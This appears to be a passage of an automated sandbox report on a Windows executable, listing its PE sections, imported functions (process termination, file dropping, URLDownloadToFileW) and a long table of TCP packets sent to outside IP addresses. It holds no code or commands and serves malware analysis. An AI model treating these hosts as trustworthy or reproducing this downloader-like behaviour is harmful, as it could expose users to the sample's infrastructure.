                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x710000x1e0.rsrc
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x6c0000x3a44.pdata
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x720000xad4.reloc
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x609600x38.rdata
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x609a00x138.rdata
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x490000x4b0.rdata
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                      Sections

                                                                                                                                                                                                      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                      .text0x10000x47d1e0x47e00False0.5263552989130434data6.478186019271603IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                      .rdata0x490000x1f97c0x1fa00False0.5013895750988142data5.742688592656131IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                      .data0x690000x2eb40x1800False0.17431640625data3.3661630494000248IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                      .pdata0x6c0000x3a440x3c00False0.47506510416666664data5.536610621782765IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                      _RDATA0x700000xf40x200False0.314453125data2.4521543449117584IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                      .rsrc0x710000x1e00x200False0.529296875data4.7176788329467545IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                      .reloc0x720000xad40xc00False0.4716796875data5.245966946496816IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                      Resources

                                                                                                                                                                                                      NameRVASizeTypeLanguageCountry
                                                                                                                                                                                                      RT_MANIFEST0x710600x17dXML 1.0 document textEnglishUnited States

                                                                                                                                                                                                      Imports

                                                                                                                                                                                                      DLLImport
                                                                                                                                                                                                      KERNEL32.dllCreateDirectoryW, SizeofResource, HeapFree, lstrlenW, WriteFile, TerminateProcess, GetModuleFileNameW, CreateFileW, GetFileAttributesW, OpenProcess, SetFileAttributesW, CreateToolhelp32Snapshot, MultiByteToWideChar, Sleep, GetLastError, Process32NextW, lstrcatW, LockResource, DeleteFileW, Process32FirstW, CloseHandle, LoadLibraryW, CreateThread, LoadResource, FindResourceW, HeapAlloc, GetProcAddress, GetProcessHeap, CreateProcessW, GetModuleHandleW, CopyFileW, lstrcpyW, CreateProcessA, lstrcpyA, GetComputerNameW, WideCharToMultiByte, GetConsoleWindow, WriteConsoleW, HeapSize, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetOEMCP, GetACP, IsValidCodePage, GetTimeZoneInformation, HeapReAlloc, SetStdHandle, ReadConsoleW, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, CompareStringW, GetConsoleMode, GetConsoleCP, FlushFileBuffers, CreateFileA, GetFileTime, LocalFileTimeToFileTime, SetFileTime, DosDateTimeToFileTime, ReadFile, SetFilePointer, FindClose, LocalFree, FormatMessageA, GetCurrentDirectoryW, FindFirstFileExW, FindNextFileW, GetFileAttributesExW, GetFileInformationByHandle, GetFullPathNameW, SetEndOfFile, SetFilePointerEx, AreFileApisANSI, MoveFileExW, GetFileInformationByHandleEx, GetStringTypeW, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, RaiseException, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetDriveTypeW, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ExitProcess, GetModuleHandleExW, GetStdHandle, GetCommandLineA, GetCommandLineW, GetFileSizeEx, RtlUnwind
                                                                                                                                                                                                      USER32.dllShowWindow
                                                                                                                                                                                                      SHELL32.dllSHGetSpecialFolderPathW, ShellExecuteW
                                                                                                                                                                                                      ole32.dllCoInitializeEx, CoSetProxyBlanket, CoInitializeSecurity, CoUninitialize, CoCreateInstance
                                                                                                                                                                                                      OLEAUT32.dllVariantClear, SysAllocString, SysFreeString
                                                                                                                                                                                                      WININET.dllInternetOpenA, InternetReadFile, InternetCloseHandle, InternetOpenUrlA
                                                                                                                                                                                                      urlmon.dllURLDownloadToFileW
                                                                                                                                                                                                      dxgi.dllCreateDXGIFactory

                                                                                                                                                                                                      Possible Origin

                                                                                                                                                                                                      Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                      EnglishUnited States

                                                                                                                                                                                                      Network Behavior

                                                                                                                                                                                                      Network Port Distribution

                                                                                                                                                                                                      TCP Packets

                                                                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.540920973 CEST49759443192.168.2.73.232.242.170
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.540977001 CEST443497593.232.242.170192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.541076899 CEST49759443192.168.2.73.232.242.170
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.683604956 CEST49759443192.168.2.73.232.242.170
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.683656931 CEST443497593.232.242.170192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.980254889 CEST443497593.232.242.170192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.980406046 CEST49759443192.168.2.73.232.242.170
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.366522074 CEST49759443192.168.2.73.232.242.170
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.366560936 CEST443497593.232.242.170192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.366909981 CEST443497593.232.242.170192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.366995096 CEST49759443192.168.2.73.232.242.170
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.370182991 CEST49759443192.168.2.73.232.242.170
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.412502050 CEST443497593.232.242.170192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.514960051 CEST443497593.232.242.170192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.515053034 CEST443497593.232.242.170192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.515105009 CEST49759443192.168.2.73.232.242.170
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.515130997 CEST49759443192.168.2.73.232.242.170
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.521406889 CEST49759443192.168.2.73.232.242.170
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.521450043 CEST443497593.232.242.170192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.914463043 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.914530039 CEST44349762149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.914644957 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.915235996 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.915261984 CEST44349762149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.990196943 CEST44349762149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.990386963 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.997513056 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.997539043 CEST44349762149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.997811079 CEST44349762149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.997904062 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.999589920 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.040496111 CEST44349762149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.116292000 CEST44349762149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.116425991 CEST44349762149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.116429090 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.116513014 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.117697001 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.117722988 CEST44349762149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.117752075 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.117799044 CEST49762443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.394088030 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.457617998 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.457978010 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.460683107 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.524080992 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.524610996 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.524657011 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.524724960 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.524760008 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.652872086 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.653069019 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.717873096 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.717940092 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.717982054 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.718023062 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.718030930 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.718064070 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.718071938 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.718086958 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.782844067 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.782880068 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.782911062 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.783000946 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.783045053 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.783051014 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.783056974 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.783086061 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.783143044 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.783154011 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.846512079 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.846669912 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.848071098 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.848330021 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.848330975 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.848371029 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.848469019 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.848493099 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.849200964 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.849328995 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.850295067 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.850330114 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.850425959 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.850442886 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.911921024 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.912208080 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.913124084 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.913264990 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.913522005 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.913646936 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.913655996 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.913716078 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.913780928 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.913819075 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.913964987 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.914031029 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.914067984 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.914170980 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.975604057 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.975647926 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.975699902 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.975754976 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.976947069 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.976983070 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.977005005 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.977082968 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.977097034 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.977104902 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.977207899 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.977480888 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.977510929 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.977566957 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.977587938 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.040425062 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.040524960 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.040631056 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.040667057 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.041821957 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.041878939 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.041929960 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.041944981 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.041964054 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.041976929 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.041990042 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.042046070 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.042088032 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.042097092 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.042108059 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.042162895 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.105460882 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.105494976 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.105622053 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.105658054 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107187033 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107224941 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107278109 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107295036 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107306957 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107320070 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107346058 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107362032 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107402086 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107414961 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107439041 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107588053 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107803106 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.107913017 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171169043 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171323061 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171663046 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171742916 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171750069 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171768904 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171793938 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171817064 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171821117 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171828985 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171849012 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171869040 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.171924114 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.172014952 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.172684908 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.172729015 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.172802925 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.172823906 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236341953 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236386061 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236484051 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236664057 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236733913 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236864090 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236927986 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236942053 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236958027 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236974955 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.236987114 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.237011909 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.237014055 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.237045050 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.237092018 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.237206936 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.237236023 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.237277031 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.237303972 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301084042 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301192045 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301230907 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301280975 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301474094 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301548004 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301590919 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301592112 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301609039 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301635027 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301676035 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301676035 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301691055 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301722050 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301762104 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.301778078 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.302011967 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.302079916 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.302102089 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.302222967 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.364692926 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.364785910 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.364810944 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.364859104 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.364888906 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.364893913 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.365017891 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.365026951 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.365140915 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.365144014 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.365176916 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.365247011 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.365256071 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.365262985 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:26.365297079 CEST8049764141.8.192.169192.168.2.7
